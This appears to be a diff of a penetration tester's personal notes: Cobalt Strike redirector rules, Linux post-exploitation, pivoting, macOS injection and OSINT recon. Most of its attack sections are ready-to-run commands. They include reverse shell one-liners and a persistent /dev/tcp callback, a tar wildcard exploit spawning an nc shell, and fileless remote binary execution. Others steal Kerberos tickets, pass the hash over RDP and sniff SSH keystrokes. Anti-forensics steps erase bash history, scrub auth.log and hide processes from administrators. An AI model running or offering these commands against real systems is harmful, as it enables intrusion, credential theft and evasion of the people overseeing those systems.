- `[P]` proxies request to the backend in a way that's transparent to the requestor; looks like it came from Apache, even if it came from Cobalt Strike
|
||||
- Cookie redirect
|
||||
- Example:
|
||||
```
|
||||
RewriteEngine on
|
||||
|
||||
RewriteCond %{HTTP_COOKIE} TestCookie [NC]
|
||||
RewriteRule .* https://localhost:8443/cookie-test [P]
|
||||
```
|
||||
- Request URI and Query String redirect
|
||||
- For the `webbug_getonly` malleable C2 profile using the URI
|
||||
```
|
||||
RewriteEngine on
|
||||
|
||||
RewriteCond %{REQUEST_URI} win-payload [NC]
|
||||
RewriteRule .* https://localhost:8443%{REQUEST_URI} [P]
|
||||
|
||||
RewriteCond %{REQUEST_URI} __utm.gif [NC]
|
||||
RewriteRule .* https://localhost:8443%{REQUEST_URI} [P]
|
||||
```
|
||||
- With the query string
|
||||
```
|
||||
RewriteEngine on
|
||||
|
||||
RewriteCond %{REQUEST_URI} win-payload [NC]
|
||||
RewriteRule .* https://localhost:8443%{REQUEST_URI} [P]
|
||||
|
||||
RewriteCond %{REQUEST_URI} __utm.gif [NC]
|
||||
RewriteCond %{QUERY_STRING} utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utma [NC,OR]
|
||||
RewriteCond %{QUERY_STRING} utmac=UA-220(.*)-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utma [NC]
|
||||
RewriteRule .* https://localhost:8443%{REQUEST_URI} [P]
|
||||
|
||||
RewriteRule .* - [F]
|
||||
```
|
||||
|
||||
- cs2modrewrite - automatically generate mod_rewrite rules
|
||||
- Must add explicit user agent in malleable c2 profile (global option)
|
||||
- `set useragent "Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko";`
|
||||
- Run the script
|
||||
- `python3 cs2modrewrite.py -i <path/to/malleable/c2> -c https://teamserver:8443 -r https://www.invalidtraffic.com -o <output-file>`
|
||||
- Does the heavy lifting, but might need a little tweaking
|
||||
|
||||
@@ -0,0 +1,103 @@
|
||||
- Reverse shell one-liners:
|
||||
- Telnet:
|
||||
- `mkfifo /tmp/cth; sh -i 2>&1 </tmp/cth | telnet <atkIP> 8443 >/tmp/cth; rm /tmp/cth`
|
||||
- `(touch /dev/shm/cth; sleep 60; rm -f /dev/shm/cth) & tail -f /dev/shm/cth | sh -i 2>&1 | telnet <atkIP> <port> >/dev/shm/cth`
|
||||
- Encrypted
|
||||
- Ncat
|
||||
1. Listener: `ncat —ssl -nlvp 443`
|
||||
2. Connector: `ncat —ssl <listener ip> 443 -e /bin/bash`
|
||||
- Quick persistence
|
||||
- `while :; do setsid bash -i &>/dev/tcp/1.1.1.1/8443 0>&1; sleep 120; done &>/dev/null &`
|
||||
- Find all files owned by a user in Linux, disregarding /proc and /sys files
|
||||
- `find / -user <username> -ls 2>/dev/null | grep -v '/proc\| /run\| /sys'`
|
||||
- Log everything that happens in a terminal/tmux pane
|
||||
- `script <filename.log>`
|
||||
- Download files
|
||||
- BASH only: `bash -c "cat < /dev/tcp/10.13.10.69/18110" > nmap`
|
||||
- Encrypted:
|
||||
- Encrypt: `openssl enc -aes-256-cbc -pbkdf2 -k strongPass <input.txt >input.txt.enc`
|
||||
- Decrypt: `openssl enc -d -aes-256-cbc -pbkdf2 -k strongPass <input.txt.enc >input.txt`
|
||||
- TAR exploit:
|
||||
```BASH
|
||||
echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
|
||||
echo "" > "--checkpoint-action=exec=sh shell.sh"
|
||||
echo "" > --checkpoint=1
|
||||
tar cf archive.tar *
|
||||
```
|
||||
- Upgrade reverse shell
|
||||
- Using socat (upload static binary)
|
||||
- On target: ```socat file:`tty`,raw,echo=0 tcp-listen:4444```
|
||||
- On attacker: ```socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<attackerip>:4444```
|
||||
- Extract Kerberos ccache files
|
||||
- ccache files for logged-in users are located in /tmp
|
||||
- `scp root@10.10.120.45:/tmp/krb5cc\_613405103\_HEquhW .`
|
||||
- Convert ccache file into .kirbi file using impacket
|
||||
- `impacket-ticketConverter krb5cc\_613405103\_HEquhW amitchell.kirbi`
|
||||
- kerberos_ticket_use to leverage the TGT
|
||||
- View neighbor IPs (useful for docker containers)
|
||||
- `ip ne`
|
||||
- `"ip -br -c ne`
|
||||
- Generate public RSA key from private
|
||||
- `ssh-keygen -y -e -f id_rsa`
|
||||
- IPtables
|
||||
- `iptables -A INPUT -s <RHOST> -p tcp --dport <LPORT> -j ACCEPT`
|
||||
- Omit `-s` to open a port to connections from all origins
|
||||
- `--dport` can accept a range of ports as well as single ports
|
||||
- ARP
|
||||
- See local ARP cache
|
||||
- `arp -n`
|
||||
- `arp -a -i <interface>`
|
||||
- arp-scan
|
||||
- ARP spoof/poisoning
|
||||
- `./arplayer spoof -I wlp1s0 -vvv -F -b 192.168.1.101 192.168.1.1`
|
||||
- ARP scan
|
||||
- `./arplayer scan -I wlp1s0 -w 10 -t 1000`
|
||||
- Ping Sweep
|
||||
- `for i in `seq 1 255`; do ping -c 1 192.168.1.$i | tr \\n ' ' | awk '/1 received/ {print $2}'; done`
|
||||
- SMB Service Discovery
|
||||
- `nbtscan –v –s : x.x.x.x/24 | cut -d “:“ –f 1 > smb-hosts.txt`
|
||||
- Check for SMB signing:
|
||||
- `smbclient --client-protection=off` and observe response
|
||||
- Any Service Discovery
|
||||
- `for i in `seq 1 254`; do nc -zvw1 x.x.x.$i SERVICE_PORT 2>&1 | grep "Connected" | cut -d " " -f4 | cut -d ":" -f1 >> x-hosts.txt;done`
|
||||
- NFS Shares
|
||||
- Display the NFS server's export list of mountable shares
|
||||
- `showmount -e <ip>`
|
||||
- List both the client hostname or IP address and mounted directory
|
||||
- `showmount -a <ip>`
|
||||
- Mount an NFS share located at IP to /mnt/nfs
|
||||
- `sudo mount -t nfs <ip>:<share name> /mnt/nfs`
|
||||
- ss
|
||||
- Show listening ports like `netstat -anp tcp`
|
||||
- `ss -tulpn`
|
||||
- Rename terminal
|
||||
```BASH
|
||||
#!bin/bash
|
||||
echo -ne "\033]0;${1}\007"
|
||||
```
|
||||
|
||||
- Using shar to pack files/tools for target:
|
||||
1. Pack files on attack machine: `shar *.exe *.kirbi >a.shar`
|
||||
2. Execute on target to extract: `chmod +x a.shar; ./a.shar`
|
||||
|
||||
- Propertly destroy file instead of just deleting:
|
||||
- `shred -z cthulhu.txt`
|
||||
|
||||
- Run files without touching disk
|
||||
- Python
|
||||
- `python3 -c 'import os; import urllib.request; d = urllib.request.urlopen("https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap?raw=true"); fd = os.memfd_create("foo"); os.write(fd, http://d.read()); p = f"/proc/self/fd/{fd}"; os.execve(p, [p, "-h"],{})'`
|
||||
- No python:
|
||||
- [Ippsec video on LOL](https://www.youtube.com/watch?v=MaBurwnrI4s)
|
||||
- If you don't have `ifconfig` or `ip` and need to enumerate networking information (such as if you're in a Docker container):
|
||||
- View the local IP
|
||||
- `cat /proc/net/fib_trie`
|
||||
- View port data in hex:
|
||||
- `cat /proc/net/tcp`
|
||||
- ldapsearch for Active Directory recon
|
||||
- `ldapsearch –x –h 10.0.0.1 –b “DC=contoso,DC=com”`
|
||||
- Look for OUs in the dump to get a sense for how domain is organized
|
||||
- Mount SYSVOL:
|
||||
- look in scripts folder for file shares mapped on user login
|
||||
- look at GPO that sets bookmarks and evaluate the bookmarks for internal hosts
|
||||
- Colorize your reverse shell:
|
||||
- `export TERM=xterm-256color; export SHELL=bash; export LS_OPTIONS='--color=auto'; eval "`dircolors`"; alias ls='ls $LS_OPTIONS'; export PS1='\[\e]0;\u@\h: \w\a\]\[\033[01;32m\]\u@\h\[\033[01;34m\] \w\$\[\033[00m\] '; clear`
|
||||
@@ -0,0 +1,25 @@
|
||||
- In-memory binary file execution
|
||||
- Use `memfd` syscall to create a virtual file entirely in memory and then use the file's symbolic link (`/proc/self/fd/<id>`) to execute it.
|
||||
- Basic process:
|
||||
1. Encrypt/encode payload
|
||||
2. Host and download payload
|
||||
3. Decrypt payload in memory and initialize "anonymous" file using `memfd`
|
||||
4. Copy decrypted payload into memory-only file and execute
|
||||
- High-level pseudocode:
|
||||
```Go
|
||||
func main() {
|
||||
// Download the encrypted payload
|
||||
data, err := getURLContent(path)
|
||||
// Decrypt it using XOR operation
|
||||
decryptedData := decryptXor(data, []byte("verylongkey"))
|
||||
// Create an anonymous file in memory
|
||||
mfd, err := memfd.Create()
|
||||
// Write the decrypted payload to the file
|
||||
mfd.Write(decryptedData)
|
||||
// Get the symbolic link to the file
|
||||
filePath := fmt.Sprintf("/proc/self/fd/%d", mfd.Fd())
|
||||
// Execute the file
|
||||
cmd := exec.Command(filePath)
|
||||
out, err := cmd.Run()
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,21 @@
|
||||
- LDAP
|
||||
- `ldapsearch -H ldap://192.168.100.2 -x -LLL -W -D "[email protected]" -b "dc=contoso,dc=local" "(objectclass=computer)" "DNSHostName" "OperatingSystem"`
|
||||
- Generally requires domain creds
|
||||
- `nbtscan 192.168.100.0/24`
|
||||
- Scan NetBIOS name service on 137
|
||||
- `ntlm-info smb 192.168.100.0/24`
|
||||
- Scan SMB
|
||||
- RDP
|
||||
- `xfreerdp /u:[email protected] /pth:cdeae556dc28c24b5b7b14e9df5b6e21 /v:192.168.122.143`
|
||||
- From Windows, can inject NT hash/Kerb ticket with Mimikatz or Rubeus, then use mstsc.exe /restrictedadmin to RDP without password
|
||||
- RPCClient
|
||||
- `rpcclient <IP> [-U '']`
|
||||
- Enumerate domain users
|
||||
- `rpcclient -enumdomusers`
|
||||
- Display info on domain users
|
||||
- `querydispinfo`
|
||||
- - If a proxy is blocking your files, try the following:
|
||||
- Rename file and place false magic bytes at beginning
|
||||
- `sed '1s/^/GIF87a/' calc.exe > calc.gif`
|
||||
- Download, stripping the false magic bytes
|
||||
- `curl.exe -qk -X GET -C 6 https://example.com/calc.gif > calc.exe`
|
||||
@@ -0,0 +1,23 @@
|
||||
- sshuttle
|
||||
- `sshuttle -r username@sshserver 0.0.0.0/0 -vv`
|
||||
- `sshuttle -r username@sshserver 0/0 -vv`
|
||||
- `sshuttle --dns -vvr username@sshserver 0/0`
|
||||
- Using netcat to foward internal traffic
|
||||
- On remote host - setup listener by creating backpipe
|
||||
- `mkfifo pipe`
|
||||
- `mknod pivot p`
|
||||
- Setup listener on pivot machine to forward an internal machine's port
|
||||
- `nc -l -p 9001 0<pivot | nc <internal-rhost> <i-rhost-port> 1>pivot`
|
||||
- `nc -l -p 9001 0<pivot | nc 172.16.50.222 22 1>pivot`
|
||||
- check that you can use see the interface open on the external machine
|
||||
- `nmap -p 22 9001 rhost OR nmap -p 22 172.1.1.1`
|
||||
- Ncat port fowwarder (with listener on attacking lhost machine instead of external hacked machine)
|
||||
- On attacker machine
|
||||
- `ncat -lv --broker -m2 <port-number>`
|
||||
- `ncat -lv --broker -m2 8900`
|
||||
- On pivot machine
|
||||
- `ncat -v <attack-lhost-ip> <attacker-lport> -c "nc -v <internal-rhost-to-pivot-to> <port-on-final-rhost>`
|
||||
- `ncat -v 10.13.37.10 8900 -c "nc -v 172.16.50.222 80"`
|
||||
- View traffic
|
||||
- `curl http://localhost:8900`
|
||||
- `ssh user@localhost -p 8900`
|
||||
@@ -0,0 +1,86 @@
|
||||
- Installing tmux
|
||||
`sudo apt install -y tmux`
|
||||
* will be different based on your Linux distro
|
||||
- Built in Help menu for all tmux commands
|
||||
`ctrl+b+?`
|
||||
`q` to quit
|
||||
- Manage Tmux Sessions
|
||||
- Start a new tmux session
|
||||
`tmux`
|
||||
`tmux new -s <session-name>`
|
||||
- Rename the current tmux Session
|
||||
`ctrl+b+$`
|
||||
* Retype session name and save with the enter-key
|
||||
- Swap between different sessions within the current session
|
||||
`ctrl+b+s`
|
||||
* Arrow key up/down and select session with the enter-key
|
||||
- Detach and Attach to a active tmux session without closing it
|
||||
1. Detach from the current tmux session
|
||||
`ctrl+b+d`
|
||||
2. Attach to a active tmux session
|
||||
`tmux a`
|
||||
`tmux a -t <tmux-session-name>`
|
||||
- Double check for any active tmux sessions
|
||||
`tmux ls`
|
||||
`tmux list-sessions`
|
||||
- Manage Tmux Windows
|
||||
- Swap between tmux windows
|
||||
`ctrl+b+n` 0r `ctrl+b+p`
|
||||
`ctrl+b+w`
|
||||
* Arrow key up/down and select tmux window with the enter-key
|
||||
- Swap between the <2> last used tmux windows
|
||||
`ctrl+b+l`
|
||||
- Rename the currently selected tmux window
|
||||
`ctrl+b+,`
|
||||
* Retype name and save with the enter-key
|
||||
- Manage Tmux Panes
|
||||
- Split tmux panes Horizontally
|
||||
`ctrl+b+"`
|
||||
- Split tmux panes Vertically
|
||||
`ctrl+b+%`
|
||||
- Detach a tmux pane into its own tmux window
|
||||
`ctrl+b+!`
|
||||
- Zoom into a tmux pane without spliting it into its own window
|
||||
`ctrl+b+z`
|
||||
`ctrl+b+z`
|
||||
* "Same command again to undo the zoom in"
|
||||
- Move between different tmux panes in the same tmux window
|
||||
1. With Arrow Keys
|
||||
`ctrl+b`
|
||||
* Move to the pane you want to select/use with the arrow keys
|
||||
2. Between the 2 last used tmux panes
|
||||
`ctrl+b+;`
|
||||
3. cycle between all tmux panes
|
||||
`ctrl+b+o`
|
||||
4. Using the q -> pane number method
|
||||
`ctrl+b+q`
|
||||
- select the pane by pressing the number of that window
|
||||
- Grep/Search for Text up or down the page
|
||||
- Search `<Up>` the page
|
||||
1. Enter Scroll Mode
|
||||
`ctrl+b+[`
|
||||
2. Search Up the page
|
||||
`ctrl+r`
|
||||
* Do `ctrl+r` again to keep searching up the page
|
||||
* Go back into Scroll mode next to the text you found in grep/search mode without going to back to the bottom
|
||||
`Enter-Key`
|
||||
- Search `<Down>` the page
|
||||
1. Enter Scroll Mode
|
||||
`ctrl+b+[`
|
||||
2. Search Down the page
|
||||
`ctrl+s`
|
||||
* Do `ctrl+s` again to keep searching down the page
|
||||
* Go back into Scroll mode next to the text you found in grep/search mode without going to back to the bottom
|
||||
`Enter-Key`
|
||||
- Copy and Paste walls of text in tmux to the tmux buffer
|
||||
1. Enter Copy/Scroll Mode
|
||||
`ctrl+b+[`
|
||||
2. Enable highlighting
|
||||
`ctrl+spacebar`
|
||||
3. Copy highlighted text to tmux clipboard
|
||||
`alt+w`
|
||||
4. Paste what is copied to the tmux clip board
|
||||
`ctrl+b+]`
|
||||
5. Extra (check what is copied to the tmux clipboard before pasting)
|
||||
`ctrl+b+shift+#`
|
||||
`q` to quit
|
||||
@@ -0,0 +1,44 @@
|
||||
- Disable BASH history (do first in every shell)
|
||||
- `export HISTFILE=/dev/null` OR `unset HISTFILE` OR `export HISTSIZE=0`
|
||||
- Force-terminate a shell upon exiting it to ensure there are no dangling processes
|
||||
- `alias exit='kill -9 $$'`
|
||||
- Note that history is only written to the disk on clean termination of the shell, so this bypasses that by simply killing it.
|
||||
- Execute a command without logging to history (lead with a space)
|
||||
- `$ id`
|
||||
- Hide a command by masking it as syslogd (note the parentheses)
|
||||
- `(exec -a syslogd nmap -T0 10.0.0.1/24)`
|
||||
- Start a background hidden process masked as syslogd
|
||||
- `exec -a syslogd nmap -T0 10.0.2.1/24 &>nmap.log &`
|
||||
- If there is no BASH:
|
||||
- `cp which nmap syslogd
|
||||
- `PATH=.:$PATH syslogd -T0 10.0.2.1/24`
|
||||
- Execute a process as syslogd and hide arguments (must download zap-args.c)
|
||||
- `gcc -Wall -O2 -fpic -shared -o zap-args.so zap-args.c -ldl`
|
||||
- `LD_PRELOAD=./zap-args.so exec -a syslogd nmap -T0 10.0.0.1/24`
|
||||
- Hiding an SSH connection
|
||||
- `ssh -o UserKnownHostsFile=/dev/null -T [email protected] 'bash -i'`
|
||||
- Your user:
|
||||
- Is not added to /var/log/utmp
|
||||
- Won't appear in w or who commands
|
||||
- Has no .profile or .bash_profile
|
||||
- Modifying log files to remove evidence of us authenticating
|
||||
- Grep out source domain/IPs and overwrite the files
|
||||
- `cd /dev/shm; grep -v 'atkr\.com' /var/log/auth.log >a.log; cat a.log >/var/log/auth.log; rm -f a.log`
|
||||
- "Touch" files back to their last modified time for best results
|
||||
- Hide a file from ls command:
|
||||
- `alias ls='ls -I malicious'`
|
||||
- Weird directory usage:
|
||||
- `"mkdir '...'; cd '...'"`
|
||||
- Annoying tabs in directory names:
|
||||
- `mkdir $'\t'; cd $'\t'`
|
||||
- Sniff SSH session being made from a box you control
|
||||
- `strace -e trace=read -p <PID> 2>&1 | while read x; do echo "$x" | grep '^read.*= [1-9]$' | cut -f2 -d\"; done`
|
||||
- The above will fail if `/proc/sys/kernel/yama/ptrace_scope = 1`
|
||||
- Alternative: `echo 'exec script -qc /bin/bash ~/.ssh-log.txt' >>~/.profile`
|
||||
|
||||
- Override PS in sysadmin's bashrc to grep out evil procs
|
||||
- `echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >>~/.bashrc && touch -r /etc/passwd ~/.bashrc`
|
||||
|
||||
- Monitor connections to determine when a user has logged in with SSH (will beep when one is detected)
|
||||
- `tcpdump -nlq "tcp[13] == 2 and dst port 22" | while read x; do echo "${x}"; echo -e '\a'; done`
|
||||
- When SSH'd in, you'll need to change the last portion to redirect the beep to your TTY: `echo -e '\a' > /dev/tty5`
|
||||
@@ -0,0 +1,17 @@
|
||||
- Mach-O Library Load Commands
|
||||
- `LC_LOAD_DYLIB` specifies a dynamic library to be loaded at runtime and the dylib must be loaded when the binary or library is executed.
|
||||
- `LC_LOAD_WEAK_DYLIB` specifies a weakly linked dynamic library. If the dylib is not found, the binary or library will still be executed without interruption.
|
||||
- `LC_REEXPORT_DYLIB` specifies a dynamic library to be reexported by the binary or library.
|
||||
- Install names specify the path to the dylib at runtime
|
||||
- `@executable_path` **–** This variable is replaced with the path to the directory containing the main executable for the process, for example, _/Applications/Dummy.app/Contents/MacOS._
|
||||
- `@loader_path` **–** This variable is replaced with the path to the directory containing the mach-o binary, which contains the load command.
|
||||
- `@rpath` – is a variable that will be replaced with one or more paths specified by the LC_RPATH command at runtime.
|
||||
- Requirements for dylib hijacking:
|
||||
- The app is not restricted with a hardened runtime or having the com.apple.security.cs.disable-library-validation entitlement.
|
||||
- One of the files in the application path `app/Contents` is not properly signed (Figure 3). We can run the `codesign –verify –verbose <app_name>` command. If we see an error message in the output, it indicates that the signature is invalid.
|
||||
- Identify weak dylibs:
|
||||
- `otool -l <app_name> | grep LC_LOAD_WEAK_DYLIB -A5`
|
||||
- Look for a weak library from a writeable directory
|
||||
- Check if any dylibs are loaded from `@rpath`:
|
||||
- ` otool -l <app_name> | grep LC_LOAD_DYLIB -A5`
|
||||
- If any libs have `@rpath`, see if directory is writeable. If multiple `LC_RPATH` load commands are present and the library is not found in primary run-path, a malicious dylib can be placed in the primary path.
|
||||
@@ -0,0 +1,9 @@
|
||||
- Check for quarantine attribute (`com.apple.quarantine`), which triggers Gatekeeper upon execution:
|
||||
- `xattr -l <executable_file>`
|
||||
- XProtect's Yara rules can be inspected:
|
||||
- `locate XProtect.yara`
|
||||
- Generally useless in default settings
|
||||
- XProtect requires three conditions to even scan a file:
|
||||
- Being run for the first time
|
||||
- File hash has changed
|
||||
- Yara rules have been updated
|
||||
@@ -0,0 +1,16 @@
|
||||
- Protects apps against code injection via library hijacking, env vars, and task port injection.
|
||||
- List app entitlements:
|
||||
- `codesign -d --entitlements :- <file>`
|
||||
- Poseidon: `list_entitlements`
|
||||
- Look for any of the following:
|
||||
- `com.apple.security.cs.disable-library-validation`
|
||||
- Allows any dynlib to be loaded into the process
|
||||
- `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
- Allows dynlibs to be loaded from `DYLD_INSERT_LIBRARIES` env var.
|
||||
- Code signing requirements still apply unless the previous setting is also applied.
|
||||
- Injection:
|
||||
- `DYLD_INSERT_LIBRARIES=malicious.dylib ./app`
|
||||
- `com.apple.security.get-task-allow`
|
||||
- Allows other apps to get task port; similar to a handle on Windows. Accessing a task port requires root.
|
||||
- Enables classic create thread process injection
|
||||
-
|
||||
@@ -0,0 +1 @@
|
||||
[Red Teaming Mac OS 101](https://frischkorn-nicholas.medium.com/red-teaming-macos-101-33b5a1834a2e)
|
||||
@@ -0,0 +1,27 @@
|
||||
- [Chaos](https://chaos.projectdiscovery.io/#/)
|
||||
- Priority #1 - you *must* have this
|
||||
- Actively curated and maintained internet assets database
|
||||
- [Github](https://github.com/settings/tokens)
|
||||
- [FacebookCT](https://develpers.facebook.com)
|
||||
1. Open https://developers.facebook.com and Sign in as a facebook (developer)
|
||||
2. Go to apps, create app
|
||||
3. Create app > Your app page
|
||||
4. Get apikey
|
||||
5. setting > advance setting > security > client token
|
||||
6. Get Secret
|
||||
- [PassiveTotal](https://community.riskiq.com/settings)
|
||||
- Shodan (not free but very cheap)
|
||||
|
||||
- Paid/Limited sources
|
||||
- Rapid7 Sonar
|
||||
- SecurityTrails - best paid API
|
||||
- SpiderFootHX - second best paid API
|
||||
|
||||
- binaryedge
|
||||
- builtwith
|
||||
- c99
|
||||
- censys
|
||||
- fullhunt
|
||||
- hunterio
|
||||
- virustotal
|
||||
- zoomeye
|
||||
@@ -0,0 +1,101 @@
|
||||
- Scraping
|
||||
- Tons of databases and data projects exist to catalogue related URLs and domains
|
||||
- Google Dorking
|
||||
- Google a domain, then progressively subtract known subdomains
|
||||
1. site:twitch.tv -www.twitch.tv
|
||||
2. site:twitch.tv -www.twitch.tv -watch.twitch.tv
|
||||
3. site:twitch.tv -www.twitch.tv -watch.twitch.tv -dev.twitch.tv
|
||||
4. ...
|
||||
- [Amass](https://github.com/caffix/amass)
|
||||
- Will automatically extract subdomain data from tons of sources and optionally brute force subdomains as well.
|
||||
- Also groups scraped domains to ASNs, owners, and IP ranges
|
||||
- Make sure to review the [API Keys](obsidian://open?vault=Necronomicon&file=Necronomicon%2FOSINT%2FAPI%20Keys) page to make your Amass as much as it can be
|
||||
- `amass enum –list`
|
||||
- `amass enum -list | grep -v "\*"`
|
||||
- Put the keys in `~/.config/amass/config.ini`
|
||||
- [Subfinder](https://github.com/subfinder)
|
||||
- Similar to Amass - use both and concat | uniq the output
|
||||
- [BBOT](https://github.com/blacklanternsecurity/bbot)
|
||||
- Huge tool with subdomain scraping, brute force, web spidering, and more.
|
||||
- The output is a file at `/root/.bbot/scans/{scan_name}/`
|
||||
- `cat /root/.bbot/scans/{scan_name}/output.txt | grep -F '[DNS_NAME]’ | awk '{print $2}'`
|
||||
|
||||
- Subdomain brute force
|
||||
- Very slow - try using threaded tools that will use multiple DNS resolvers
|
||||
- [PureDNS](https://github.com/d3mondev/puredns)
|
||||
- Wrapper around [MassDNS](https://github.com/blechschmidt/massdns) and adds features
|
||||
- `puredns bruteforce <subdomain_list> tesla.com -r resolvers.txt`
|
||||
- DNS resolvers: https://github.com/trickest/resolvers
|
||||
- Permutation/Alteration scanning - predict other subdomain names based on patterns
|
||||
- [altdns](https://github.com/infosec-au/altdns) - generate permutations, but doesn't attempt to resolve. Use with PureDNS
|
||||
- [dnsgen](https://github.com/ProjectAnte/dnsgen.git) - generate permutations, but doesn't attempt to resolve. Use with PureDNS
|
||||
- `cat <file_of_subdomains.txt> | dnsgen - | puredns resolve --resolvers resolvers.txt`
|
||||
|
||||
- Shodan
|
||||
- [Shosubgo](https://github.com/incogbyte/shosubgo)
|
||||
- `go run main.go -d <target_domain>`
|
||||
- Shodan from CLI is better for large targets - NahamSec has a great video on this and parsing output
|
||||
- [NahamSec - Asset Discovery Using Shodan](https://www.youtube.com/watch?v=4CL_8GRNVTE)
|
||||
|
||||
- Acquisitions
|
||||
- [Crunchbase](https://www.crunchbase.com/)
|
||||
- Business information about acquisitions and mergers - new apex domains that belong to your target for enumeration, phishing, etc.
|
||||
- Companies often don't force newly acquired companies to change to their infrastructure immediately.
|
||||
- Also gives:
|
||||
- information on company leadership and employees - even past employees
|
||||
- Tech stack info
|
||||
- Annual revenue
|
||||
- Events
|
||||
- Recent news
|
||||
- Other fantastic contextual data
|
||||
- [OCCRP](https://aleph.occrp.org)
|
||||
- global archive of research material for investigative reporting. They keep track of 414 million public entities and parse over 252 discrete datasets in more than 141 countries.
|
||||
- When searching for a company, find the entry that comes up, closely related to your company and associated with the dataset "US SEC CorpWatch.“
|
||||
- Look for one with a substantial list of assets
|
||||
- Provides a list of acquisitions and investments by your target
|
||||
|
||||
- Reverse WHOIS
|
||||
- The purpose of this is to search WHOIS data to hopefully find other apex domains owned by the target.
|
||||
- For example, searching WHOIS data for the "Organization Name" or "Registrant Email" of the target
|
||||
- https://whoxy.com - cheapest place for access to reverse WHOIS and WHOIS data in general.
|
||||
- API - 1000 queries for $10
|
||||
- `https://api.whoxy.com/?key=xxxxx&reverse=whois&keyword=google&mode=domains`
|
||||
|
||||
- Using AI for recon
|
||||
- *Current dataset cuts off in 2021; all results should be rigorously verified*
|
||||
- Acquisitions
|
||||
- "What can you tell me about Tesla's acquisitions?"
|
||||
- Subdomains
|
||||
- [SubreconGPT](https://github.com/jhaddix/SubreconGPT)
|
||||
- Script that accepts a list of subdomains and for each one, it will have GPT4 guess similar/related subdomains and check whether they resolve
|
||||
|
||||
- Linked Discovery
|
||||
- This essentially involves spidering pages at the known domains of the target to discover more related domains.
|
||||
- BurpSuite:
|
||||
1. Turn off passive scanning
|
||||
2. Set forms auto to submit (if you’re feeling frisky)
|
||||
3. Set scope to advanced control and use “keyword” of target name (not a normal FQDN)
|
||||
4. Walk+browse main site, then spider all hosts recursively!
|
||||
5. Profit
|
||||
- To export the found domains/subdomains:
|
||||
1. Select all hosts in the site tree
|
||||
2. In PRO ONLY right click the selected hosts
|
||||
3. Go to “Engagement Tools” -> “Analyze target”
|
||||
4. Save report as an html file
|
||||
5. Copy the hosts from the “Target” section
|
||||
- [GoSpider](https://github.com/jaeles-project/gospider)
|
||||
- [hakrawler](https://github.com/hakluke/hakrawler)
|
||||
|
||||
- Ad & Analytics
|
||||
- You can also glean related domains and subdomains by looking at a target’s ad/analytics tracker codes. Many sites use the same codes across all their domains. Google analytics and New Relic codes are the most common.
|
||||
- [BuiltWith](https://builtwith.com/)
|
||||
- Example: https://builtwith.com/relationships/twitch.tv
|
||||
- [getrelationship.py](https://raw.githubusercontent.com/ m4ll0k/Bug-Bounty- Toolz/master/getrelationship.py)
|
||||
- Will search BuiltWith from the command line with the help of your session token.
|
||||
|
||||
- Discover cloud endpoints behind Cloudflare, Akamai, etc.
|
||||
- Pull CNAME records from domains
|
||||
- `getent hosts <domain>`
|
||||
- Analyze public IPs and cross-reference with IP ranges of various services like AWS
|
||||
- [DNSCharts](https://dnscharts.hacklikeapornstar.com/)
|
||||
-
|
||||
@@ -0,0 +1,12 @@
|
||||
- Keeping a list of assets for a large company can be difficult and overwhelming.
|
||||
- [bountycatch.py](https://gist.github.com/jhaddix/91035a01168902e8130a8e1bb383ae1e)
|
||||
- Python3 and Redis
|
||||
- Start a project called "dell" and add list of subdomains:
|
||||
- `python3 bountycatch.py --project dell --file dell.txt`
|
||||
- Print the current project:
|
||||
- `python3 bountycatch.py --project dell -o print`
|
||||
- Add new subdomains to project:
|
||||
- `python3 bountycatch.py --project dell -o add -f githubdell8.txt`
|
||||
- [BBRF](https://github.com/honoki/bbrf-client)
|
||||
- GUI tool for managing recon data
|
||||
-
|
||||
@@ -0,0 +1,33 @@
|
||||
- Finding org assets in the cloud can be a daunting task.
|
||||
|
||||
- SSL Certificate Enumeration
|
||||
- SSL certificates often have other domains on them as Subject Alternative Names (SANs); these may be other external apex domains, subdomains, or even internal domains
|
||||
- [kaeferjaeger.gay](https://kaeferjaeger.gay)
|
||||
- Hacker collective that scans all major cloud providers every month and catalogues the SSL certificate information into a downloadable database
|
||||
- https://kaeferjaeger.gay/?dir=sni-ip-ranges
|
||||
- This data is not formatted; some BASH is needed:
|
||||
- `cat *.txt | grep -F ".<target_domain>" | awk -F'-- ' '{print $2}'| tr ' ' '\n' | tr '[' ' ‘| sed 's/ //’| sed 's/\]//’| grep -F ".<target_domain>“ | sort -u`
|
||||
|
||||
- S3 Buckets
|
||||
- https://buckets.grayhatwarfare.com/
|
||||
- Paid, but limited free results
|
||||
- Loop though subdomains looking for s3 buckets
|
||||
- `while read p; do echo $p, $(curl --silent -I -i https://$p | grep AmazonS3); done`
|
||||
- You'll need the bucket name (not just the URL) to interact with buckets using AWS CLI; you can get them from the CNAME records of the bucket URLs.
|
||||
- AWS CLI
|
||||
- `aws s3api list-objects-v2 --bucket <bucket_name> > list_objects.txt`
|
||||
- Get a total number of objects:
|
||||
- `grep '"Key"' list_objects.txt |wc -l`
|
||||
- List filenames:
|
||||
- `grep '"Key"' list_objects | sed 's/[",]//g' > list_keys.txt`
|
||||
- Search for certain file types:
|
||||
1. `patterns='\.sh$|\.sql$|\.tar\.gz$\.properties$|\.config$|\.tgz$'`
|
||||
2. `egrep $patterns list_keys.txt`
|
||||
3. `egrep -v\ "\.jpg|\.png|\.js|\.woff|/\",$|\.css|\.gif|\.svg|\.ttf|\.eot" list_keys.xt`
|
||||
- Download object by key
|
||||
- `aws s3api get-object --bucket <bucket_name> --key <key> <output_filename>`
|
||||
|
||||
- Resources
|
||||
- http://flaws.cloud/
|
||||
- http://flaws2.cloud/
|
||||
- https://google.github.io/kctf/
|
||||
@@ -0,0 +1,38 @@
|
||||
- Research
|
||||
- [Better Business Bureau](https://www.bbb.org/)
|
||||
- [Bloomberg](https://www.bloomberg.com/research/company/overview/overview.asp)
|
||||
